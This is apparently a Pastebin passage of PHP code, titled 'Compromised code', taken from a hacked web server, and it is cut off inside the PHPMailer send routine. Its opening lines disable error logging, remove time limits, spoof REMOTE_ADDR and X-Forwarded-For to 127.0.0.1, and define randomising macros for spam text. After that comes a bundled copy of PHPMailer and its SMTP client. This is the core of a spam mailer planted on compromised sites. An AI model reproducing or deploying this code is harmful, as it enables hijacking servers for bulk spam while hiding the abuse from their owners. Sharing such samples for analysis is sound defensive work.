Guest User

Compromised code

a guest
Jul 9th, 2015
372
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 78.03 KB | None | 0 0
  1. <?php
  2. @ini_set('error_log', NULL);
  3.  @ini_set('log_errors', 0);
  4.  @ini_set('max_execution_time', 0);
  5.  @set_time_limit(0);
  6.  if(isset($_SERVER)) { $_SERVER['PHP_SELF'] = "/";
  7.  $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
  8.  if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
  9.  } } if(isset($_FILES)) { foreach($_FILES as $key => $file) { if(!strpos($file['name'], ".jpg")) { $filename = alter_macros($file['name']);
  10.  $filename = num_macros($filename);
  11.  $filename = xnum_macros($filename);
  12.  $_FILES[$key]["name"] = $filename;
  13.  } } } function custom_strip_tags($text) { $text = strip_tags($text, '');
  14.  $text = str_replace("", "", $text);
  15.  $text = str_replace("\">", " ] ", $text);
  16.  return $text;
  17.  } function is_ip($str) { return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str);
  18.  } function from_host($content) { $host = preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']);
  19.  if (is_ip($host)) { return $content;
  20.  } $tokens = explode("@", $content);
  21.  $content = $tokens[0] . "@" . $host . ">";
  22.  return $content;
  23.  } function alter_macros($content) { preg_match_all('#{(.*)}#Ui', $content, $matches);
  24.  for($i = 0;
  25.  $i < count($matches[1]);
  26.  $i++) { $ns = explode("|", $matches[1][$i]);
  27.  $c2 = count($ns);
  28.  $rand = rand(0, ($c2 - 1));
  29.  $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
  30.  } return $content;
  31.  } function xnum_macros($content) { preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);
  32.  for($i = 0;
  33.  $i < count($matches[0]);
  34.  $i++) { $num = $matches[1][$i];
  35.  $min = pow(10, $num - 1);
  36.  $max = pow(10, $num) - 1;
  37.  $rand = rand($min, $max);
  38.  $content = str_replace($matches[0][$i], $rand, $content);
  39.  } return $content;
  40.  } function num_macros($content) { preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
  41.  for($i = 0;
  42.  $i < count($matches[0]);
  43.  $i++) { $min = $matches[1][$i];
  44.  $max = $matches[2][$i];
  45.  $rand = rand($min, $max);
  46.  $content = str_replace($matches[0][$i], $rand, $content);
  47.  } return $content;
  48.  } function fteil_macros($content, $fteil) { return str_replace("[FTEIL]", $fteil, $content);
  49.  } class SMTP { const VERSION = '5.2.10';
  50.  const CRLF = "\r\n";
  51.  const DEFAULT_SMTP_PORT = 25;
  52.  const MAX_LINE_LENGTH = 998;
  53.  const DEBUG_OFF = 0;
  54.  const DEBUG_CLIENT = 1;
  55.  const DEBUG_SERVER = 2;
  56.  const DEBUG_CONNECTION = 3;
  57.  const DEBUG_LOWLEVEL = 4;
  58.  public $Version = '5.2.10';
  59.  public $SMTP_PORT = 25;
  60.  public $CRLF = "\r\n";
  61.  public $do_debug = self::DEBUG_OFF;
  62.  public $Debugoutput = 'echo';
  63.  public $do_verp = false;
  64.  public $Timeout = 300;
  65.  public $Timelimit = 300;
  66.  protected $smtp_conn;
  67.  protected $error = array( 'error' => '', 'detail' => '', 'smtp_code' => '', 'smtp_code_ex' => '' );
  68.  protected $helo_rply = null;
  69.  protected $server_caps = null;
  70.  protected $last_reply = '';
  71.  protected function edebug($str, $level = 0) { if ($level > $this->do_debug) { return;
  72.  } if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) { call_user_func($this->Debugoutput, $str, $this->do_debug);
  73.  return;
  74.  } switch ($this->Debugoutput) { case 'error_log': error_log($str);
  75.  break;
  76.  case 'html': echo htmlentities( preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, 'UTF-8' ) . "
  77. \n";
  78.  break;
  79.  case 'echo': default: $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  80.  echo gmdate('Y-m-d H:i:s') . "\t" . str_replace( "\n", "\n \t ", trim($str) )."\n";
  81.  } } public function connect($host, $port = null, $timeout = 30, $options = array()) { static $streamok;
  82.  if (is_null($streamok)) { $streamok = function_exists('stream_socket_client');
  83.  } $this->setError('');
  84.  if ($this->connected()) { $this->setError('Already connected to a server');
  85.  return false;
  86.  } if (empty($port)) { $port = self::DEFAULT_SMTP_PORT;
  87.  } $this->edebug( "Connection: opening to $host:$port, timeout=$timeout, options=".var_export($options, true), self::DEBUG_CONNECTION );
  88.  $errno = 0;
  89.  $errstr = '';
  90.  if ($streamok) { $socket_context = stream_context_create($options);
  91.  $this->smtp_conn = @stream_socket_client( $host . ":" . $port, $errno, $errstr, $timeout, STREAM_CLIENT_CONNECT, $socket_context );
  92.  } else { $this->edebug( "Connection: stream_socket_client not available, falling back to fsockopen", self::DEBUG_CONNECTION );
  93.  $this->smtp_conn = fsockopen( $host, $port, $errno, $errstr, $timeout );
  94.  } if (!is_resource($this->smtp_conn)) { $this->setError( 'Failed to connect to server', $errno, $errstr );
  95.  $this->edebug( 'SMTP ERROR: ' . $this->error['error'] . ": $errstr ($errno)", self::DEBUG_CLIENT );
  96.  return false;
  97.  } $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
  98.  if (substr(PHP_OS, 0, 3) != 'WIN') { $max = ini_get('max_execution_time');
  99.  if ($max != 0 && $timeout > $max) { @set_time_limit($timeout);
  100.  } stream_set_timeout($this->smtp_conn, $timeout, 0);
  101.  } $announce = $this->get_lines();
  102.  $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
  103.  return true;
  104.  } public function startTLS() { if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) { return false;
  105.  } if (!stream_socket_enable_crypto( $this->smtp_conn, true, STREAM_CRYPTO_METHOD_TLS_CLIENT )) { return false;
  106.  } return true;
  107.  } public function authenticate( $username, $password, $authtype = null, $realm = '', $workstation = '' ) { if (!$this->server_caps) { $this->setError('Authentication is not allowed before HELO/EHLO');
  108.  return false;
  109.  } if (array_key_exists('EHLO', $this->server_caps)) { if (!array_key_exists('AUTH', $this->server_caps)) { $this->setError('Authentication is not allowed at this stage');
  110.  return false;
  111.  } self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
  112.  self::edebug( 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']), self::DEBUG_LOWLEVEL );
  113.  if (empty($authtype)) { foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) { if (in_array($method, $this->server_caps['AUTH'])) { $authtype = $method;
  114.  break;
  115.  } } if (empty($authtype)) { $this->setError('No supported authentication methods found');
  116.  return false;
  117.  } self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
  118.  } if (!in_array($authtype, $this->server_caps['AUTH'])) { $this->setError("The requested authentication method \"$authtype\" is not supported by the server");
  119.  return false;
  120.  } } elseif (empty($authtype)) { $authtype = 'LOGIN';
  121.  } switch ($authtype) { case 'PLAIN': if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) { return false;
  122.  } if (!$this->sendCommand( 'User & Password', base64_encode("\0" . $username . "\0" . $password), 235 ) ) { return false;
  123.  } break;
  124.  case 'LOGIN': if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) { return false;
  125.  } if (!$this->sendCommand("Username", base64_encode($username), 334)) { return false;
  126.  } if (!$this->sendCommand("Password", base64_encode($password), 235)) { return false;
  127.  } break;
  128.  case 'NTLM': require_once 'extras/ntlm_sasl_client.php';
  129.  $temp = new stdClass;
  130.  $ntlm_client = new ntlm_sasl_client_class;
  131.  if (!$ntlm_client->Initialize($temp)) { $this->setError($temp->error);
  132.  $this->edebug( 'You need to enable some modules in your php.ini file: ' . $this->error['error'], self::DEBUG_CLIENT );
  133.  return false;
  134.  } $msg1 = $ntlm_client->TypeMsg1($realm, $workstation);
  135.  //msg1 if (!$this->sendCommand( 'AUTH NTLM', 'AUTH NTLM ' . base64_encode($msg1), 334 ) ) { return false;
  136.  } $challenge = substr($this->last_reply, 3);
  137.  $challenge = base64_decode($challenge);
  138.  $ntlm_res = $ntlm_client->NTLMResponse( substr($challenge, 24, 8), $password );
  139.  $msg3 = $ntlm_client->TypeMsg3( $ntlm_res, $username, $realm, $workstation );
  140.  return $this->sendCommand('Username', base64_encode($msg3), 235);
  141.  case 'CRAM-MD5': if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) { return false;
  142.  } $challenge = base64_decode(substr($this->last_reply, 4));
  143.  $response = $username . ' ' . $this->hmac($challenge, $password);
  144.  return $this->sendCommand('Username', base64_encode($response), 235);
  145.  default: $this->setError("Authentication method \"$authtype\" is not supported");
  146.  return false;
  147.  } return true;
  148.  } protected function hmac($data, $key) { if (function_exists('hash_hmac')) { return hash_hmac('md5', $data, $key);
  149.  } $bytelen = 64;
  150.  // byte length for md5 if (strlen($key) > $bytelen) { $key = pack('H*', md5($key));
  151.  } $key = str_pad($key, $bytelen, chr(0x00));
  152.  $ipad = str_pad('', $bytelen, chr(0x36));
  153.  $opad = str_pad('', $bytelen, chr(0x5c));
  154.  $k_ipad = $key ^ $ipad;
  155.  $k_opad = $key ^ $opad;
  156.  return md5($k_opad . pack('H*', md5($k_ipad . $data)));
  157.  } public function connected() { if (is_resource($this->smtp_conn)) { $sock_status = stream_get_meta_data($this->smtp_conn);
  158.  if ($sock_status['eof']) { $this->edebug( 'SMTP NOTICE: EOF caught while checking if connected', self::DEBUG_CLIENT );
  159.  $this->close();
  160.  return false;
  161.  } return true;
  162.  // everything looks good } return false;
  163.  } public function close() { $this->setError('');
  164.  $this->server_caps = null;
  165.  $this->helo_rply = null;
  166.  if (is_resource($this->smtp_conn)) { fclose($this->smtp_conn);
  167.  $this->smtp_conn = null;
  168.  //Makes for cleaner serialization $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
  169.  } } public function data($msg_data) { if (!$this->sendCommand('DATA', 'DATA', 354)) { return false;
  170.  } $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
  171.  $field = substr($lines[0], 0, strpos($lines[0], ':'));
  172.  $in_headers = false;
  173.  if (!empty($field) && strpos($field, ' ') === false) { $in_headers = true;
  174.  } foreach ($lines as $line) { $lines_out = array();
  175.  if ($in_headers and $line == '') { $in_headers = false;
  176.  } while (isset($line[self::MAX_LINE_LENGTH])) { $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
  177.  if (!$pos) { $pos = self::MAX_LINE_LENGTH - 1;
  178.  $lines_out[] = substr($line, 0, $pos);
  179.  $line = substr($line, $pos);
  180.  } else { $lines_out[] = substr($line, 0, $pos);
  181.  $line = substr($line, $pos + 1);
  182.  } if ($in_headers) { $line = "\t" . $line;
  183.  } } $lines_out[] = $line;
  184.  foreach ($lines_out as $line_out) { if (!empty($line_out) and $line_out[0] == '.') { $line_out = '.' . $line_out;
  185.  } $this->client_send($line_out . self::CRLF);
  186.  } } $savetimelimit = $this->Timelimit;
  187.  $this->Timelimit = $this->Timelimit * 2;
  188.  $result = $this->sendCommand('DATA END', '.', 250);
  189.  $this->Timelimit = $savetimelimit;
  190.  return $result;
  191.  } public function hello($host = '') { return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
  192.  } protected function sendHello($hello, $host) { $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
  193.  $this->helo_rply = $this->last_reply;
  194.  if ($noerror) { $this->parseHelloFields($hello);
  195.  } else { $this->server_caps = null;
  196.  } return $noerror;
  197.  } protected function parseHelloFields($type) { $this->server_caps = array();
  198.  $lines = explode("\n", $this->last_reply);
  199.  foreach ($lines as $n => $s) { $s = trim(substr($s, 4));
  200.  if (!$s) { continue;
  201.  } $fields = explode(' ', $s);
  202.  if (!empty($fields)) { if (!$n) { $name = $type;
  203.  $fields = $fields[0];
  204.  } else { $name = array_shift($fields);
  205.  if ($name == 'SIZE') { $fields = ($fields) ? $fields[0] : 0;
  206.  } } $this->server_caps[$name] = ($fields ? $fields : true);
  207.  } } } public function mail($from) { $useVerp = ($this->do_verp ? ' XVERP' : '');
  208.  return $this->sendCommand( 'MAIL FROM', 'MAIL FROM:<' . $from . '>' . $useVerp, 250 );
  209.  } public function quit($close_on_error = true) { $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
  210.  $err = $this->error;
  211.  //Save any error if ($noerror or $close_on_error) { $this->close();
  212.  $this->error = $err;
  213.  //Restore any error from the quit command } return $noerror;
  214.  } public function recipient($toaddr) { return $this->sendCommand( 'RCPT TO', 'RCPT TO:<' . $toaddr . '>', array(250, 251) );
  215.  } public function reset() { return $this->sendCommand('RSET', 'RSET', 250);
  216.  } protected function sendCommand($command, $commandstring, $expect) { if (!$this->connected()) { $this->setError("Called $command without being connected");
  217.  return false;
  218.  } $this->client_send($commandstring . self::CRLF);
  219.  $this->last_reply = $this->get_lines();
  220.  $matches = array();
  221.  if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) { $code = $matches[1];
  222.  $code_ex = (count($matches) > 2 ? $matches[2] : null);
  223.  $detail = preg_replace( "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m", '', $this->last_reply );
  224.  } else { $code = substr($this->last_reply, 0, 3);
  225.  $code_ex = null;
  226.  $detail = substr($this->last_reply, 4);
  227.  } $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
  228.  if (!in_array($code, (array)$expect)) { $this->setError( "$command command failed", $detail, $code, $code_ex );
  229.  $this->edebug( 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply, self::DEBUG_CLIENT );
  230.  return false;
  231.  } $this->setError('');
  232.  return true;
  233.  } public function sendAndMail($from) { return $this->sendCommand('SAML', "SAML FROM:$from", 250);
  234.  } public function verify($name) { return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
  235.  } public function noop() { return $this->sendCommand('NOOP', 'NOOP', 250);
  236.  } public function turn() { $this->setError('The SMTP TURN command is not implemented');
  237.  $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
  238.  return false;
  239.  } public function client_send($data) { $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
  240.  return fwrite($this->smtp_conn, $data);
  241.  } public function getError() { return $this->error;
  242.  } public function getServerExtList() { return $this->server_caps;
  243.  } public function getServerExt($name) { if (!$this->server_caps) { $this->setError('No HELO/EHLO was sent');
  244.  return null;
  245.  } // the tight logic knot ;
  246. ) if (!array_key_exists($name, $this->server_caps)) { if ($name == 'HELO') { return $this->server_caps['EHLO'];
  247.  } if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) { return false;
  248.  } $this->setError('HELO handshake was used. Client knows nothing about server extensions');
  249.  return null;
  250.  } return $this->server_caps[$name];
  251.  } public function getLastReply() { return $this->last_reply;
  252.  } protected function get_lines() { if (!is_resource($this->smtp_conn)) { return '';
  253.  } $data = '';
  254.  $endtime = 0;
  255.  stream_set_timeout($this->smtp_conn, $this->Timeout);
  256.  if ($this->Timelimit > 0) { $endtime = time() + $this->Timelimit;
  257.  } while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) { $str = @fgets($this->smtp_conn, 515);
  258.  $this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
  259.  $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
  260.  $data .= $str;
  261.  $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
  262.  if ((isset($str[3]) and $str[3] == ' ')) { break;
  263.  } $info = stream_get_meta_data($this->smtp_conn);
  264.  if ($info['timed_out']) { $this->edebug( 'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)', self::DEBUG_LOWLEVEL );
  265.  break;
  266.  } if ($endtime and time() > $endtime) { $this->edebug( 'SMTP -> get_lines(): timelimit reached ('. $this->Timelimit . ' sec)', self::DEBUG_LOWLEVEL );
  267.  break;
  268.  } } return $data;
  269.  } public function setVerp($enabled = false) { $this->do_verp = $enabled;
  270.  } public function getVerp() { return $this->do_verp;
  271.  } protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '') { $this->error = array( 'error' => $message, 'detail' => $detail, 'smtp_code' => $smtp_code, 'smtp_code_ex' => $smtp_code_ex );
  272.  } public function setDebugOutput($method = 'echo') { $this->Debugoutput = $method;
  273.  } public function getDebugOutput() { return $this->Debugoutput;
  274.  } public function setDebugLevel($level = 0) { $this->do_debug = $level;
  275.  } public function getDebugLevel() { return $this->do_debug;
  276.  } public function setTimeout($timeout = 0) { $this->Timeout = $timeout;
  277.  } public function getTimeout() { return $this->Timeout;
  278.  } } class PHPMailer { public $Version = '5.2.9';
  279.  public $Priority = 3;
  280.  public $CharSet = 'iso-8859-1';
  281.  public $ContentType = 'text/plain';
  282.  public $Encoding = '8bit';
  283.  public $ErrorInfo = '';
  284.  public $From = 'root@localhost';
  285.  public $FromName = 'Root User';
  286.  public $Sender = '';
  287.  public $ReturnPath = '';
  288.  public $Subject = '';
  289.  public $Body = '';
  290.  public $AltBody = '';
  291.  public $Ical = '';
  292.  protected $MIMEBody = '';
  293.  protected $MIMEHeader = '';
  294.  protected $mailHeader = '';
  295.  public $WordWrap = 0;
  296.  public $Mailer = 'mail';
  297.  public $Sendmail = '/usr/sbin/sendmail';
  298.  public $UseSendmailOptions = true;
  299.  public $PluginDir = '';
  300.  public $ConfirmReadingTo = '';
  301.  public $Hostname = '';
  302.  public $MessageID = '';
  303.  public $MessageDate = '';
  304.  public $Host = 'localhost';
  305.  public $Port = 25;
  306.  public $Helo = '';
  307.  public $SMTPSecure = '';
  308.  public $SMTPAuth = false;
  309.  public $Username = '';
  310.  public $Password = '';
  311.  public $AuthType = '';
  312.  public $Realm = '';
  313.  public $Workstation = '';
  314.  public $Timeout = 300;
  315.  public $SMTPDebug = 0;
  316.  public $Debugoutput = 'echo';
  317.  public $SMTPKeepAlive = false;
  318.  public $SingleTo = false;
  319.  public $SingleToArray = array();
  320.  public $do_verp = false;
  321.  public $AllowEmpty = false;
  322.  public $LE = "\n";
  323.  public $DKIM_selector = '';
  324.  public $DKIM_identity = '';
  325.  public $DKIM_passphrase = '';
  326.  public $DKIM_domain = '';
  327.  public $DKIM_private = '';
  328.  public $action_function = '';
  329.  public $XMailer = '';
  330.  protected $smtp = null;
  331.  protected $to = array();
  332.  protected $cc = array();
  333.  protected $bcc = array();
  334.  protected $ReplyTo = array();
  335.  protected $all_recipients = array();
  336.  protected $attachment = array();
  337.  protected $CustomHeader = array();
  338.  protected $lastMessageID = '';
  339.  protected $message_type = '';
  340.  protected $boundary = array();
  341.  protected $language = array();
  342.  protected $error_count = 0;
  343.  protected $sign_cert_file = '';
  344.  protected $sign_key_file = '';
  345.  protected $sign_key_pass = '';
  346.  protected $exceptions = false;
  347.  const STOP_MESSAGE = 0;
  348.  const STOP_CONTINUE = 1;
  349.  const STOP_CRITICAL = 2;
  350.  const CRLF = "\r\n";
  351.  public function __construct($exceptions = false) { $this->exceptions = (boolean)$exceptions;
  352.  } public function __destruct() { } private function mailPassthru($to, $subject, $body, $header, $params) { //Check overloading of mail function to avoid double-encoding if (ini_get('mbstring.func_overload') & 1) { $subject = $this->secureHeader($subject);
  353.  } else { $subject = $this->encodeHeader($this->secureHeader($subject));
  354.  } if (ini_get('safe_mode') || !($this->UseSendmailOptions)) { $result = @mail($to, $subject, $body, $header);
  355.  } else { $result = @mail($to, $subject, $body, $header, $params);
  356.  } return $result;
  357.  } protected function edebug($str) { if ($this->SMTPDebug <= 0) { return;
  358.  } //Avoid clash with built-in function names if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) { call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  359.  return;
  360.  } switch ($this->Debugoutput) { case 'error_log': //Don't output, just log error_log($str);
  361.  break;
  362.  case 'html': //Cleans up output a bit for a better looking, HTML-safe output echo htmlentities( preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, 'UTF-8' ) . "
  363. \n";
  364. break;
  365. case 'echo': default: //Normalize line breaks $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  366. echo gmdate('Y-m-d H:i:s') . "\t" . str_replace( "\n", "\n \t ", trim($str) ) . "\n";
  367. } } public function isHTML($isHtml = true) { if ($isHtml) { $this->ContentType = 'text/html';
  368. } else { $this->ContentType = 'text/plain';
  369. } } public function isSMTP() { $this->Mailer = 'smtp';
  370. } public function isMail() { $this->Mailer = 'mail';
  371. } public function isSendmail() { $ini_sendmail_path = ini_get('sendmail_path');
  372. if (!stristr($ini_sendmail_path, 'sendmail')) { $this->Sendmail = '/usr/sbin/sendmail';
  373. } else { $this->Sendmail = $ini_sendmail_path;
  374. } $this->Mailer = 'sendmail';
  375. } public function isQmail() { $ini_sendmail_path = ini_get('sendmail_path');
  376. if (!stristr($ini_sendmail_path, 'qmail')) { $this->Sendmail = '/var/qmail/bin/qmail-inject';
  377. } else { $this->Sendmail = $ini_sendmail_path;
  378. } $this->Mailer = 'qmail';
  379. } public function addAddress($address, $name = '') { return $this->addAnAddress('to', $address, $name);
  380. } public function addCC($address, $name = '') { return $this->addAnAddress('cc', $address, $name);
  381. } public function addBCC($address, $name = '') { return $this->addAnAddress('bcc', $address, $name);
  382. } public function addReplyTo($address, $name = '') { return $this->addAnAddress('Reply-To', $address, $name);
  383. } protected function addAnAddress($kind, $address, $name = '') { if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) { $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
  384. $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
  385. if ($this->exceptions) { throw new phpmailerException('Invalid recipient array: ' . $kind);
  386. } return false;
  387. } $address = trim($address);
  388. $name = trim(preg_replace('/[\r\n]+/', '', $name));
  389. //Strip breaks and trim if (!$this->validateAddress($address)) { $this->setError($this->lang('invalid_address') . ': ' . $address);
  390. $this->edebug($this->lang('invalid_address') . ': ' . $address);
  391. if ($this->exceptions) { throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  392. } return false;
  393. } if ($kind != 'Reply-To') { if (!isset($this->all_recipients[strtolower($address)])) { array_push($this->$kind, array($address, $name));
  394. $this->all_recipients[strtolower($address)] = true;
  395. return true;
  396. } } else { if (!array_key_exists(strtolower($address), $this->ReplyTo)) { $this->ReplyTo[strtolower($address)] = array($address, $name);
  397. return true;
  398. } } return false;
  399. } public function setFrom($address, $name = '', $auto = true) { $address = trim($address);
  400. $name = trim(preg_replace('/[\r\n]+/', '', $name));
  401. //Strip breaks and trim if (!$this->validateAddress($address)) { $this->setError($this->lang('invalid_address') . ': ' . $address);
  402. $this->edebug($this->lang('invalid_address') . ': ' . $address);
  403. if ($this->exceptions) { throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  404. } return false;
  405. } $this->From = $address;
  406. $this->FromName = $name;
  407. if ($auto) { if (empty($this->Sender)) { $this->Sender = $address;
  408. } } return true;
  409. } public function getLastMessageID() { return $this->lastMessageID;
  410. } public static function validateAddress($address, $patternselect = 'auto') { if (!$patternselect or $patternselect == 'auto') { //Check this constant first so it works when extension_loaded() is disabled by safe mode //Constant was added in PHP 5.2.4 if (defined('PCRE_VERSION')) { //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) { $patternselect = 'pcre8';
  411. } else { $patternselect = 'pcre';
  412. } } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) { //Fall back to older PCRE $patternselect = 'pcre';
  413. } else { //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension if (version_compare(PHP_VERSION, '5.2.0') >= 0) { $patternselect = 'php';
  414. } else { $patternselect = 'noregex';
  415. } } } switch ($patternselect) { case 'pcre8': return (boolean)preg_match( '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' . '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address );
  416.  case 'pcre': //An older regex that doesn't need a recent PCRE return (boolean)preg_match( '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' . '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' . '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' . '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' . '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' . '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' . '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' . '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' . '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', $address );
  417.  case 'html5': return (boolean)preg_match( '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address );
  418.  case 'noregex': return (strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1);
  419.  case 'php': default: return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  420.  } } public function send() { try { if (!$this->preSend()) { return false;
  421.  } return $this->postSend();
  422.  } catch (phpmailerException $exc) { $this->mailHeader = '';
  423.  $this->setError($exc->getMessage());
  424.  if ($this->exceptions) { throw $exc;
  425.  } return false;
  426.  } } public function preSend() { try { $this->mailHeader = '';
  427.  if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) { throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  428.  } // Set whether the message is multipart/alternative if (!empty($this->AltBody)) { $this->ContentType = 'multipart/alternative';
  429.  } $this->error_count = 0;
  430.  // reset errors $this->setMessageType();
  431.  // Refuse to send an empty message unless we are specifically allowing it if (!$this->AllowEmpty and empty($this->Body)) { throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  432.  } $this->MIMEHeader = $this->createHeader();
  433.  $this->MIMEBody = $this->createBody();
  434.  if ($this->Mailer == 'mail') { if (count($this->to) > 0) { $this->mailHeader .= $this->addrAppend('To', $this->to);
  435.  } else { $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;
  436. ');
  437.  } $this->mailHeader .= $this->headerLine( 'Subject', $this->encodeHeader($this->secureHeader(trim($this->Subject))) );
  438.  } // Sign with DKIM if enabled if (!empty($this->DKIM_domain) && !empty($this->DKIM_private) && !empty($this->DKIM_selector) && file_exists($this->DKIM_private)) { $header_dkim = $this->DKIM_Add( $this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody );
  439.  $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF . str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
  440.  } return true;
  441.  } catch (phpmailerException $exc) { $this->setError($exc->getMessage());
  442.  if ($this->exceptions) { throw $exc;
  443.  } return false;
